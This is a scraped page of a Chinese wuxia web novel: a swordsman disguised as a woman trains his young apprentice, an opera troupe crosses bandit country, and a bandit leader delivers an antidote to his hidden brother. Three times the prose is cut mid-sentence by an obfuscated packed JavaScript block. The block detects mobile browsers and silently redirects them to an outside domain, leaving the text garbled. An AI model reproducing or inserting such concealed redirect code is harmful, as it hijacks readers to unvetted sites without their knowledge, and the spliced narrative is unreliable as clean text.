;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14598165|156000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天追着我打,不过呢,好歹我皮实,好得很快,自然也就进步得很快咯。” 皮实是真的,他体内有药蛊庇佑,伤口都好得特别快,不过花雕不一样,她是个皮细肉嫩的小女孩,慕卿下手很有分寸。让她吃点苦头就好了,女孩子家家的,可别留了疤,怪难看的。 “师公是个怎样的人,师父你跟我讲讲呗。”才练一小会,花雕很自然地靠到慕卿旁边嶙峋的怪石上,一脸八卦相。这么多年,还从没听师父讲过自己的故事呢。 “你师公啊?那年我逃难,就遇见了他,他一个人独居,也没什么亲人,看我可怜,他就收养了我,教我武功。” 离开无涯子,除了应他所想去外界闯荡一番,还因为慕卿不想因为自己的身份给他招惹来麻烦,逢年过节去探望他,也是因为早把无涯子当成了自己生命中的一部分。 花雕一下子就抓住重点:“逃难?师父你没有家吗?你的家人呢?” “我的家人啊?师父算一个,你算一个。”慕卿在这个问题前没有犹豫,答得干脆。 无涯子收养他,给了他一个完整的家,让他从此心有归宿,不再迷茫地漂泊于世间,便是上天最大的恩赐。而他遇见花雕,就好像历史重蹈覆辙,慕卿常想,是不是无涯子接纳自己就像自己接纳花雕那般?虽从未言说,在心底,早已默认彼此是最重要的家人。 “啊,那师父好可怜的。” “可怜吗?”慕卿反问:“你个小可怜虫怎么不先可怜可怜自个儿?” “花雕才不可怜呢,我娘亲是个顶好的人儿,她手很暖,笑容很甜,说起话来温柔着呢。那种好,是和你对我不一样的好,她啊,手很巧,总是会给我们做各种各样好吃的,我最爱吃她摊的软饼,那饼子,喷香软糯的,可好吃了。” 五岁那年,母亲就离花雕而去,在她仅存的记忆里,只有那双手的温度和那刚出炉的烙饼是真实而又清晰的。 “说到吃的,我想起你师公炖的鱼,黄山岛四面临水,那里的鱼个大肥美,加上他老人家自己打的豆腐,那味道,真是绝……” 两人你一言我一语,尽讲些陈年往事。 眼看着太阳只剩半个脑袋,慕卿意识到被带跑偏了,骂骂咧咧了一句,随即又碎碎念道:“不行,今天咱们不把这一小段练完,不许吃饭。” 他教花雕的是《十音诀》,以音律来命名招式,剑招多温柔婉约,适合女子练。 “啊……”花雕抓着脑袋,叫苦不迭,本来想着逃过一劫,这下倒好。 慕卿边纠正花雕拿剑的姿势,边告诉她:“虽然它是把断剑,但你可别小瞧它。剑的好坏不在于长短,而在于握剑人心里所想,守心中之道,护心爱之人,亦可诛佞臣昏君,半把足矣。” 慕卿听无涯子说过这半把剑的来历,那是无涯子年轻的时候,彼时无涯子血气方刚,和好友比剑非要分个胜负,结果在对峙中,心爱的宝剑被一分为二。 离开黄山岛的时候,无涯子把这把剑给他,也是想告诉慕卿,年轻人不要过于气盛,要懂得收敛锋芒。 可花雕始终觉得半把剑不够威风:“嗯嗯,那花雕要手执长剑,像师父一样做一个云游四方的侠义剑客,把那些坏人们都打跑。” 慕卿被她逗乐了,活这么久,他的小徒弟是第一个给他戴如此高帽的人,行侠仗义倒是谈不上,颠沛流离还被说得如此大义凛然,慕卿睨了她一眼,面不露喜:“看来最近功课学得不错,已经会说像样的四字词语。” 花雕:“????”师父我今年已经十三岁了,这些四字词语是好几年前学的,干嘛还拿我当小孩? 至于为什么教小花学剑,这绝不是慕卿心血来潮,世间险恶,一个女孩子手无寸铁难免会被欺负,何况慕卿也不会时时刻刻在她身边保护她,有些手段防身总是好的。 日暮迟迟,百鸟归林。花雕练得满头大汗,正懒洋洋趴在慕卿背上,乱薅他的头发,还贱兮兮地笑道:“磨精,你人真好。” 收到好人卡的慕卿恨得牙痒痒,你丫的下次再跑出来玩把鞋子弄丢了,看我不打得你屁股开花满地找牙。 可转念一想,算了,自家的徒弟,除了宠着,还能咋滴。 24. 双生2 出了玉霄国,便是铁岭山。 当初柳源戏班一行人抱着出人头地的想法,风风光光地来,现在却有如丧家之犬般,灰溜溜地离开,难免不让人唏嘘。 沈佳期走在队伍最前面。他常年走南闯北,这一带路他都很熟,有他为大家领着队伍,就可以少走些弯路。 叶童舟坐在随后的马车里,听着车外众人低声细语,本欲凑个热闹,但轻轻掀开布帏,看到层林尽数染上微黄,枫叶红得似火,不禁感慨道:“入秋了啊。” 他还记得上次路过这里是盛夏,那时候大家有说有笑,他还是个健全人儿,不过才一两个月,却换了番光景,可谓是物是人非。 花伶走在部队大后方,不时在路边草丛里摸东摸西,最后将手中一把不知名的莓子从窗户里递给叶童舟。车子还在继续行进,花伶也长得不够高,叶童舟探出大半个身子,才勉强接住她手中的野果。 花伶记得以前自家田野里有很多这样的小果子,酸酸甜甜的,可好吃了,现在她居然能在这荒山野岭发现,不免有些惊喜,当机立断摘了留给叶童舟。 一长队人除了叶童舟,都步行着,由白无垢殿后,他也是逍遥快活,此时正捡着路边的石子,用自制的弹弓打着鸟雀。 铁岭山上有个土匪窝叫回风寨,白无垢的老家就在这里。寨子头头叫霜满天,是个让白无垢又敬又恨的人。敬他,因为他打理回风寨诸事有条不紊,算个优秀的领袖;恨他,是因为他下毒控制自己。 寨旗高扬,瞭望塔上有两个站岗的探子,站得笔直,目光如隼。 这绝对不是放哨,是看中了哪个过路人好下手吧,沈佳期眯着眼,像个老谋深算的狐狸般想着。 他倒是不怕,他们这里还有回风寨的“人质”呢。 “无垢你不回家看看吗?”沈佳期想着无垢家在回风寨,便向他提议道。 霜满天整日板着张脸,脾气又臭,白无垢巴不得离得越远越好,还回家看他?不存在的。 还有赵亮,满脸横肉,总是副凶巴巴的模样,没少跟他对着干。 若真是想有什么留念的话,也只有铁岭山的好山好水,还没彻底来得及游览一番。 看他不乐意,沈佳期还是让班内的一个小弟子给霜满天报信去了,信上是个地址:临初玉水台七十九号。 这是般若妻子的住处。班里人最初都为孤儿,大多数人都是后来戏班发展起来才成的亲,但居所较为分散,在此行目的地临初携家带口的人,只有般若。 白无垢的命靠一种特制的药吊着,霜满天虽然嘴上不说,心里还是在意他,在玉霄国时还让人给白无垢送解药,现在戏班走了,总要有个去处能找到他们,要不白无垢又发病了可怎么办? 于是乎,其余人都在原地休息,等着送信的倪默回来。 回风寨上,赵亮跟一帮土匪赌骰子玩得热火朝天,根本没把来人当一回事。 “启禀二当家,山下有个人奔着咱们寨子来了。”瞭望塔上有人发现不对劲,立马就上来报告。 “跟他废什么话,抢啊。” 送到嘴边的肉哪有不吃的道理,才单枪匹马而已,随便带两个兄弟包抄就得了,哪里用得着他亲自动手!虽说蚊子肉再小,可多攒几只也是够塞牙缝的呀。 “这盘押大。”赵亮一声令下,将一锭闪亮的银子压在牌桌上“大”字那边,然后满怀期待地等着开盘。 “大!大!大!大……”周围土匪们的高呼声此起彼伏,彼此应和着,场面让人惊心动魄。 约莫一刻钟后…… 送信的倪默一脸沮丧地回来,他头发凌乱,衣衫不整,那群土匪见着他,就好像饿狼见着肥羊,抢去他身上银两不说,连外衣都给扒了。 用赵亮的话说,那买衣服不得花钱啊,能省一文是一文,所以回风寨一直贯彻的宗旨就是:不能谋财害命,但对于主动送上门来的人,有什么抢什么,多了不嫌多,没有东西抢也要创造条件抢。 “师父,我回来了。”倪默看到大家都在等他,刚靠近便声如蚊呐般吱了声,又低着头偷偷去看沈佳期的表情。 看着他这副模样,沈佳期忍俊不禁。 传言很多活物来到铁岭山回风寨,连毛都没根剩的,看来传言不假,瞧这阵势,真够狠。 几十米开外的丛林中,一名白衣“女子”正在赶着马车,车里躺着个跟花伶相似年岁的小娃娃,正是花雕和慕卿。 本来想一路直上走出铁岭山,却不曾想到车内人满脸痛苦模样,急切说道:“师父我想尿尿,我快憋不住了。” 真是懒人屎尿多,慕卿朝她摆摆手,表情略带嫌弃。 得到慕卿许可,小花像只蹦蹦跳跳的雀儿,一头钻进密林中。 见许久没有动静,慕卿扯开嗓子,朝她喊道:“喂,好了没啊?在干嘛呢?” “嗯,好了好了,马上来了!”这边小花小解完,注意力又被树下的蚂蚁窝吸引去,拿根小棍棍,正躲在那里戳蚂蚁戳得开心,听到慕卿喊她这才恍过神来。 等花雕慢吞吞赶回来的时候,沈佳期已经带着收拾好的大伙准备出发,慕卿看着时候并不早了,也决定立即启程。 本为相向而行,要不了多久几人就会碰面,却发生了意外。 花雕和慕卿这是在从全县去湖浙的路上,此地名为铁岭山,山势险峻,还伴有毒虫猛兽出没,可以说是占据天险。 “师父这山好难走啊。” 是啊,不但难走,还有土匪,慕卿瞧着不远处高悬的旌旗,心里默念道,最好识相点自己绕道,不要来打搅他们,否则来一个打一个,来两个打一双,保证打得他亲娘都不认识他。 尽管马车走得很慢,但怀中的兔儿因为颠簸像要蹦出去似的,极其不安分地躁动着。 这只兔儿是全县赵老将军家的九公子赵泽毅临行时给她的,连续几日了,花雕一直都带在身边。 花雕摸着兔子的脑袋,哄道:“兔兔乖,好好的别乱跑,小花会给你吃最新鲜的白菜和萝卜。” 但怀中的兔兔好像并不领情,趁着马车磕到石头的盹儿,倏地从她的怀中蹦跶下去,没入路边树林。 花雕慌了,忙喊道:“它跑了,我的肉肉跑了。” 慕卿只看到有什么白色的东西从眼前飞了出去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14598166|156000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,立即勒了马,赶紧去追。 “肉肉?”慕卿以为这是兔子的名字,还纳闷这名字怎么这么奇怪。 “赵泽毅跟我说,兔兔养得白白胖胖,红烧起来可好吃啦,要不是为了吃,我养它干嘛?” 慕卿一向都不喜欢养小动物,因为被他养着都活不长,花雕倒是例外。原本以为她养小动物是为了好玩或者可爱,没想到居然是为了满足口腹之欲。 闻言,慕卿“噗嗤”一声笑出来,这个小吃货,都把赵泽毅带坏了。 可想到自己盘中的红烧兔肉跑了,慕卿寻找的动力更足了,赶紧跟上她的步子,共同去找肉肉。 只余车前一马,在天地悠悠间,安然地吃着草。 恰逢柳源戏班路过,有人提议道:“班主,这儿有辆马车唉,要不我们过去看看?” 不知是哪家公子小姐的坐驾,停在这里,也不知人是否出了什么意外。 “有啥好看的,净瞎凑些什么热闹,这么磨磨蹭蹭,还想不想在天黑之前找到落脚的地方啦?” 沈佳期本来不是爱凑热闹之人,催促他们赶紧继续赶路,少管别人的闲事,免得自己引火上身,待会天黑投不到什么好去处,只得与山里的猛兽一起过夜,那可真是危险。 “哎,兔兔别跑!”看到岩石后的一片雪白,花雕朝兔子喊了句。 却没发现,草丛里蛰伏着条花色的响尾蛇,响尾蛇听到动静,摇着尾巴向花雕发出警告。说时迟,那时快,在响尾蛇即将攻向花雕的千钧一发时刻,慕卿捡了块石子朝响尾蛇掷去:“小心!” 花雕还没弄清楚发生了什么,只听见慕卿的一声惊呼,兔兔受到惊吓,蹦远去,而花雕面前,挂着条花色的“绳子”——那条响尾蛇被慕卿用石子击中七寸,早已歇菜,所以花雕只看见尸体。 见兔兔早已没入林深处,想着里面会有更多危险,慕卿跟花雕商量:“我们不去找兔兔了好不好,兔兔跟着妈妈一起回家了,等我们出了这座山,再一起去吃兔兔好不好?” “嗯”,听闻有兔兔可以吃,花雕很快便妥协,跟着慕卿继续赶路。 殊不知,这一大一小并坐车首的两人,被回风寨瞭望塔上两个探子盯上了。 “你看,那条道上的那个小妞,是不是很标致?要不,咱们把她掳上来,给寨主做压寨夫人吧,你看怎么样?”其中一人开玩笑道。 回风寨有回风寨的规矩,寨子里从不收留外人,更不会留一个底细不明的女人,之所以这么说,也是给枯燥的值守时光添一点乐趣。 果然,这美女要比着看。寻常里看寨子外的那些女人,也没觉得有多难看,跟眼前的女人比起来,那简直一个天上,一个地下,云泥之别便是如此。 “你傻呀,没看到旁边的小娃娃啊。”旁边的人提醒道。 “也对,残花败柳,怎么配得上我们将军的天人之姿?娶一个已婚的女子,那不是损了他的气度。” “唉,可快点走吧这两位,这山上危险,再不下山,指不定有什么豺狼野豹出没。” 慕卿载着花雕,在他们二人视线中渐渐淡去,同落日余晖融为一体。 25. 戏子入画满临初12 兜兜转转,柳源戏班一行人还是回到了耿安。 推开尘封木门的那一刹那,沈佳期只觉得无限心安。这里是临初,是柳源戏班的发源地,宅子是他几年前买的,用作戏班的中转场所。虽是寻常无奇遮风挡雨的庇护之所,可这里没有危险,没有居心叵测,没有勾心斗角,亦不用对那些权贵摇尾乞怜,在这儿的日子安分踏实,就很好。 二十多个人收拾了一上午,终于把屋子打扫得干净亮堂,中午何婶宰鱼杀鸡,弄了满桌子好菜,打算犒劳下疲于奔波的众人,也想开解下沈佳期和叶童舟结郁的内心。 自从叶童舟跌落戏台摔坏了腿,他就变了,虽然时不时会拖着一副病躯四处晃悠,但他开始变得沉默寡言,再也没有以前那么爱笑。 沈佳期也随着叶童舟变了,从前沈佳期很严厉,很追求完美,凡事锱铢必较,现在他身上多了几分柔情和宽容,人也开始变得随和。 喷香的饭菜,大多数人都吃得挺开心,沈佳期却怀着心事,有意识无意识地把最好的肉段都夹给叶童舟,花伶在一旁不依不饶道:“师父偏心,好吃的都给了童童哥哥。” 沈佳期在叶童舟堆成小山的碗里又添上一筷子肉,又给花伶夹了块肉:“童舟哥哥是病人,需要多吃点好吃的补充营养。” 叶童舟倒是什么都没说,亦没有推辞,沈佳期夹多少他就吃多少,两人像是配合着演一出默剧。 花伶越是无理取闹,叶童舟面上越是平静,沈佳期心里越是愧疚,他是班主,这一班人的安全他都有责任,如今出了这样的事,是他最不想看到的。 酒足饭饱,沈佳期找的大夫也来到大别院,医是名医,是耿安最好的大夫,沈佳期花大价钱请来的。 一番望闻问切,老先生脸上的表情开始变得凝重起来。本来想直接告诉大家结果,一抬头看见沈佳期的目光怨恨得跟带了刀子似的,硬生生把嘴边话吞了回去。 于是乎,在众目睽睽下,叶童舟被老先生翻来覆去,各种盘问折腾,除了腿之外什么脾虚气亏的毛病都被诊断了出来。 叶童舟内心只觉得凄凉,像是戏折里的可怜人儿,被无情的作者搬弄着命运——明明没有救了,却还垂死挣扎,妄想一二。 但沈佳期都是为了他好,叶童舟心里再怎么绝望,都未表露心迹。 大夫即便没有说结果,从头到尾面上密布的阴云已然表明了一切,最后只是长长地叹了口气,告诉大家,叶童舟这腿,是彻底残了,没救了。 望着老先生背着药箱逃难似地冲出大门的背影,沈佳期突然觉得好累,带着这么多人走了这么久路,他真的不想走了,要不,就呆在临初吧,这里是柳源戏班的开始,也可以是戏班的继续。耿安国小是小了点,但只要业务跑得勤快一些,糊口肯定是没有问题的——他再也不想任何人成为下一个叶童舟了。 初秋的太阳,依旧有些毒辣,气温也迟迟居高不下,大家练戏却一点都没耽搁,院里依旧和往常一样热闹,只是再没了那个少年袖舞飞扬,吴侬软语。 叶童舟躺在太师椅上,嗑着面前的半碟儿瓜子,看着花伶在墙角吊嗓子,心生慰藉,露出难得的笑意,嘱咐道:“师弟,我不行了,戏班里的旦角就靠你了。” 是的,师弟,以前叫她师妹,现在全戏班都改口了,女子不能抛头露脸,花伶以一个小男孩的身份呆在柳源戏班,衣着打扮,皆是男式。 旦角是指戏曲中的女性形象。柳源戏班二三十人,多是粗犷大条的汉子,唱旦的没几人,他们中有些年纪也偏大,唱年轻一点的旦角难免显得违和。花伶不一样,要模样有模样,又正是小小的一只,等她长大了,长开来,唱功再予以加强,不说青衣,怎么着也是一个很棒的小花旦吧。 毕竟演绎女子,谁能比一个女子演绎得更好? “嗯!”花伶重重地点头,心想童童哥哥腿受伤了,不能接着上台表演,她要接下代替他的重任,一定要努力努力再努力,绝对不能辜负童童哥哥所托。 每天花伶都会把叶童舟搀到院子里,缠着他给自己指导,白无垢没了玩伴,也天天跟着花伶一起练各种把式。有无垢调节气氛,三人每天有说有笑。 看着两个小师弟刻苦练功,叶童舟觉得,生活也不是那么绝望,他虽然已经不能唱戏,但是他的小师弟们都未来可期。 眼见着半个月又快过去,沈佳期去了玉水台七十九号找般若的妻子司空冰,看她有没有收到霜满天送来的药,花伶、白无垢两个小鬼从来没游赏过临初,就想凑凑热闹,便一同前往。 司空冰正围着布裙打算做午饭,见到沈佳期,把舀水的瓢往灶台上一摔,第一句话不是“你今天怎么来了”之类的寒暄,而是:“姜云蔚那个死鬼哪儿去了?又不回来看我!” 姜云蔚就是般若,云蒸霞蔚,当初他嫌弃名字太过风雅,便起了艺名般若,般若是凶兽,听起来就霸气。 沈佳期表明来意,司空冰却是满头雾水:“什么药?老娘这宅子已经大半年没有你们戏班的人来过了。” 沈佳期纳闷,按理说霜满天宝贝白无垢,应该不会让他犯险才是,那怎么还不把药给送过来,是不是信上说得不清楚?不应该呀,毕竟霜满天也是个聪明人。 在司空冰家并无所获,三人只得作罢。 虽然邻县,临初相比西梁,可谓是云泥之别。两个小孩颇为好奇,沈佳期索性带他们逛起了集市,玉水台正处闹市中央,好不热闹,车水马龙,行人络绎不绝,两小只看着各种稀奇古怪的人文风物,开心得不得了,只是一旁的沈佳期眉头似有千斤沉。 回家路上,花伶又化身为十万个为什么,绕着沈佳期身边问东问西:“姐姐既然想般若师兄了,为什么不跟我们一起住呀?” “最开始柳源戏班没有女子,大家都是男人,她一介女子,难免有些不方便,就没跟着大家一起。”沈佳期耐心解释。 还有个原因,司空冰一直是反感般若唱戏的,觉得一个大男人咿咿呀呀,故作忸态,不成正形。要她跟一群这样的男人待在一起,小两口不得三天两头打起来才怪。 这么多年,沈佳期算是琢磨明白了,这两人怎么就在一起了呢?大概是王八看绿豆,看对眼了呗。这些年沈佳期带着戏班到处跑,般若替他打理着戏班的诸多事宜,两人也没个孩子,司空冰孤零零的也怪可怜,有埋怨沈佳期能理解,毕竟这事他也有责任。 “那我们把姐姐接过来一起住好不好?”花伶发问。 “回去让般若师兄跟她说,那也要看人家愿不愿意啊。”白无垢补充。 “那好,让般若哥哥去说。”见沈佳期不反对,花伶顿时就放心了,一门心思对付着手里的糖葫芦。 沈佳期一回戏班直奔倪默住处:“阿默,你确定把信送到了回风寨他们手中吗?” 倪默连连点头,还补充说交代了是柳源戏班沈佳期给霜老大的。 沈佳期更想不通了,当初倪默回来时被扒得干净,可见是遇到了回风寨的人,可是解药的事情为何没有动静呢?算了,与其想破脑袋,不如马上启程去回风寨,只是不知道白无垢在这段时间会不会出事。 - 三天前,老孙头给回风寨送了药,不多不少,依旧只有两瓶。 “又是这么点,我说孙老头,你打发叫花子呢?”霜满天摆着手中的两个小瓷瓶,脸很臭。 “殿下,你也知道,这药难得,需得寅时三刻黄泉花凝的露珠……” 还未说完,霜满天就给他打断了:“什么猪猪猪,那花我上次不是早给你搞过来了吗?” 才仅有一株,老孙头面露难色,内心叫苦不迭,我也很为难啊,每天就那么点儿露珠,半个月能收集到两瓶的材料就已经很不错了。 那花他还得悉心照料着,生怕一不小心就歇了菜,那他可就是要掉脑袋了,真是伴君如伴虎啊。 黄泉花本就难得,世间加起来有没有十株都不知道,如今他们手头仅有一株,可谓是杯水车薪。 “殿下,微臣听说,现如今,芈氏皇宫里,有两株此花……” 霜满天听后微微点头,行,芈氏是吧,过两天就给他搞过来。 “我说孙老头,你要是加紧点研究出解药来,也不用天天早起采露珠。” “这……微臣尽力。”老孙头心想,我的殿下啊,解药哪是那么简单就能给你琢磨出来的。就算发明出来了,还要试药,万一有毒,我可又要掉脑袋了…… 想罢,老孙头摇摇头,没办法,年纪大了,脑袋不值钱了。 老孙头前脚刚走,霜满天就叫来赵亮身边的小跟班:“你们说上回沈佳期来过了,他有没有说把药送到哪里去?” “沈佳期上次派人来,给了我们一封书信,里面写了个地点。” 霜满天点头,看来把无垢放在沈佳期那里是对的,沈佳期他心思缜密,做事又牢靠。 “信呢?是什么地方?” “信……信不见了。好像是临初的玉什么的……多少号不知道呀……赵二哥着急如厕,把那信直接揣兜里,一时疏忽给忘了,后来洗衣服的时候不小心给揉了,零零碎碎的就拼出来几个字……” 一句话就记得一个“玉”字,怕是脑子瓦塌了吧,临初有“玉”名字的街巷几百几千条,如果柳源戏班不主动出现,这是要把半个临初翻过来呀。 霜满天气得掀桌:“赵亮我去你大爷的!把白无垢弄死了,你给我拿命来抵!” 沈佳期上次来回风寨,霜满天就把自己和无垢的关系跟大家坦白了。赵亮是霜满天手下的大将军,从前他只知道霜满天是白溟祉的儿子,现在他知道了白无垢也是白溟祉的儿子,居然还这么不上心。霜满天心想,看来这是土匪当久了,忘了自己为何会在回风寨了。 霜满天虽然有时候刻意疏远虐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14598167|156000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 待白无垢,但那也是为了保护白无垢。之前说拿白无垢当威胁白溟祉的筹码,更确切说是叛逆的儿子和父亲闹的一场别扭。老爹他不愿意纠结长渝之战的种种,怕扰了和芈氏之间如履薄冰的和平,可霜满天咽不下这口气--那是他出生入死的弟兄们和挚爱的弟弟啊。 众所周知,耿安是三家之国。而今霜白两姓联姻,两家掌管权合归一家,就有了白家四年的在位时间,期间霜家监管辅佐。耿安上任国君是白溟祉,而今年是芈氏掌权的第一年。 霜满天不能求助芈氏,更不能暴露白无垢的存在,如今的芈氏早就不如当初,八年前的长渝一战都不知道有没有参与其中。反正对外宣称,白家的二公子霜满地命丧长渝,大公子霜满天不知所踪。 霜满天之所以敢把无垢的身份透漏给沈佳期,是相信沈佳期需要白无垢,把白无垢留在最危险的地方,或许才是最安全的,更何况,白无垢一向都不喜欢回风寨。 好好的王子落草为寇,这霜满天也不开心啊,不过他从小便在军营里摸爬滚打,风餐露宿,他不在乎身处怎样的环境。白无垢不一样,他从小锦衣玉食,长渝一战为奸人所掳,被人在饭菜里喂了慢性毒,那毒十分霸道,白无垢险些丧命,霜满天为了进一步保护无垢,迫不得已把他藏在回风寨。 白无垢的事情本像是沉寂多年的一潭死水,霜满天突然在寨里公布无垢的真实身份,就像往这潭死水里丢了块石头,让这潭死水泛起涟漪。他希望在以后的日子里,回风寨将士能替他护佑好弟弟,毕竟这件事一直瞒在霜满天心里,压得他喘不过气来,而今他以为有人可以同他分享这份压力,可谁知事情变成了这样。 看来这回风寨,也该整顿整顿了。 霜满天想了很多,当务之急,是要快点找到无垢,把解药给他,随即,他调了寨子里的大批人马,让他们去打探柳源戏班的去处。 找到柳源戏班就可以找到白无垢,一班子二三十人,难道还能飞了不成? 其次,便是整顿军纪。 霜满天眼见着跟前赵亮的小跟班,发问:“听说你们趁我不在山上,又赌啦?” 山雨欲来,那小跟班眼见着形式不妙,低着脑袋一声不吭。 “赵亮呢,把他叫过来。” 霜满天话音刚落,眼前人如释重负,拔腿就跑。完了,大势不妙,老大要发毛。 没一会儿,就找来了赵亮。 “在回风寨久了,真当自己是土匪了?”霜满天脸上阴云密布,问他。 赵亮默不作声,心知惭愧,在军营里,霜满天就明令禁止众将士赌和嫖。这不是想着老大不在,一时鬼迷心窍,手痒想玩两把,谁知误了大事。 “嗯?你说说该怎么办吧。”霜满天面上含笑,笑得让人毛骨悚然。 见赵亮不应声,霜满天压低了声音:“军法处置。杖二十,扣三个月军饷。” 围观众人满脸黑线,老大,自打我们搬进回风寨以来,军饷为何物,从未见过…… “我们来这回风寨,是为了给死去的弟兄们一个交代,不是来寻欢作乐的,我们虽暂时身为匪寇,但在我们骨子里,流的是耿安国将士的血,国不可一日无将。我们是什么?我们是耿安国的希望,是成千上万耿安百姓与死亡之间的关隘和屏障,大敌还未当前,我们怎么可以自乱阵脚?” 一番话说得赵亮无地自容,却也热血沸腾:“老大,我先跟着兄弟们一起去寻无垢,找到了再领罚。” 终于,有人在半道上碰到了沈佳期,向天空中发送了颗白色的联络信号弹,霜满天看到信号,带着药快马加鞭赶了过去。 二人去了戏班大院,白无垢看到霜满天,朝他浅浅地笑笑,露出一口大白牙:“天哥,别来无恙呀。” “无垢……”看着白无垢额上冒着虚汗,俨然已经有发病的前兆,霜满天想去摸摸他,安慰下他,然后抱抱他,可终究理性大于感性,只是将药递给他,嘱咐道:“想家了就回来,回风寨随时欢迎你。” 可无垢的身份,连无垢本人都蒙在鼓里。 白无垢心想,他才不回去!好不容易跑出来,又不用干活,过上了米虫的日子。在寨子里除了晨练还要竞武,除了打劫还要打猎,每天凑齐三个菜都难,不打猎还没有肉吃,还是柳源戏班好。 此外,打劫真的是太危险啦。那些装扮是富贵人家的路人,有的可能是各国朝廷派出来剿匪的将士,敲诈勒索不成反被人家打得抱头鼠窜这样的事又不是没发生过,费时费力,最后还什么好处都没讨到,得不偿失。 留下解药后,霜满天并未过多地停留,说了句“麻烦沈先生啦”就走了。 霜满天不确定有没有眼睛盯着他,反正他是不能暴露无垢的。大不了以后,等白家继位,多给戏班开开路子,打响他们在四海八荒的名声,再捧两个响当当的人物出来,也算是沈佳期帮忙照顾无垢的酬劳了。 26. 酒尽桃花凉12 二人走走停停,俨然已是常态,花雕早已习惯这样的生活,只是她没想到,长大这么不容易。 这天,慕卿又像往常般做了整桌子饭菜,开始呼唤他的小馋猫:“丫头,吃饭了。” 屋内半天没有人应声。 怎么回事?这小鬼平日里一听到有吃的马上就扑过来了,今天怎么没动静?慕卿纳闷,今儿个太阳打西边出来,是早起出门了吗? 试探着敲了门,只听见屋内人有气无力跟他说了句“进来”。 “师父我是不是要死了,我好冷,我还流血了。”屋内,花雕整个人蜷缩在被子里,只向外露出一双惊恐的眸子。 “哪里流血了?”见状,慕卿慌了,语气里是满满的担忧。 “下面,黑色的血……师父我是不是中毒了?”怎么办,年纪轻轻的,花雕还不想死。 慕卿不懂医理,却宝贝自家徒弟,赶忙把人卷在被子里,二话没说径直扛去了医馆。 怕花雕尴尬,慕卿还特地嘱咐,要女大夫看诊,随即把花雕放置在床榻上,背过身去静候着。 那个女大夫正打算做检查,白了旁边杵得跟木桩子似的慕卿一眼,嫌她有些碍眼:“你出去”。 慕卿在医馆外,站也不是,坐也不是,比在隔壁给病重的老母亲喂药的儿子都着急。 他只有这一个宝贝徒弟,可不能出事呀,慕卿心里默念着。 没多久,花雕就出来了,抱着叠得整齐的被子,还在思索着些什么,神情有些恍惚。 “怎么了?有没有事啊?”慕卿一把上前搀住她,语气中满满都是焦虑。 花雕被他这句关心问得窘迫至极,脸蛋红红的,也并不回他。 “怎么了,发烧了吗?”慕卿伸出温暖的大手掌摸摸她的额头。 随即又覆上了自己的额头,温度相似,一切正常。 “葵水。”慕卿穷追不舍地问着,花雕只是云淡风轻地答了句。 “葵水是什么,很严重的病吗?”本来指望着能帮上她点什么,却并不知此为何物,慕卿被这个突如其来的词汇卡住。 “你别问了,我没事。”花雕别过脑袋去,不想见他。 他是怎么活的这么多年,怎么什么都不知道?区区小事,还如此大张旗鼓,害得大家都很尴尬。 慕卿很纳闷,独来独往这么多年,见过的稀奇古怪的东西也多,却没听说过这个叫葵水的病。 为了搞清楚这到底是什么,慕卿回家后径直拦住了邻家正准备出门洗衣服的大婶。 “婶婶,我家花雕生病了,一种叫葵水的病。” “啥病啊,这是正常的身体状况,女孩子每个月身子都会见红,为了以后生孩子做准备的。” 慕卿听了,耳根一红。 额。原来如此。怪不得花儿一副欲言又止神神秘秘的模样。 没病就好。 “慕姑娘,你没来葵水吗?” 隔壁大婶端着洗衣盆,问得慕卿又是一囧。 他是男子,本就不会有葵水,况且他男扮女装的事情又没几人知道。 “额,我太担心花儿了,今天出门着急忙慌的,撞了脑子,失忆了。”这谎太难圆了,慕卿答不上来,索性开始胡说八道。 “不过你要注意啊,这段时间里,别让她接触些凉的辣的食物,也别染了风寒,才这么点年纪,落下病根可不好。”好在邻家婶婶忙着出门,没太在意他言语中的逻辑,倒是热心肠地关心起小花来。 慕卿一听,里面似乎是有些门道,索性拉着婶婶攀谈起来。 大概地了解一番后,婶子就离开了,慕卿独自立在原地,思索了半天。 生孩子。也不知道花雕喜欢什么样的郎君。慕卿幻想着花雕披上鲜红嫁衣成为新嫁娘的模样,嘴角勾勒出一抹浅浅的笑。 赶紧来个人,快点领走他们家的小祖宗吧。 入夜了,慕卿燃了烛台,捧着一册古籍在如豆烛光前翻阅着,隔壁却传来了“咚咚咚咚”的床板声响。 踱步,敲门,却无人应答,难道是家里遭了贼? 花雕因为白天的事生着闷气,并不想理人,索性把头闷在了被子里,也不回答慕卿。 推门而入,屋子里面黑黑的,慕卿又叩了叩门板,轻声问他:“小花,你醒着吗?” “睡着啦睡着啦,小花被疼死了。” 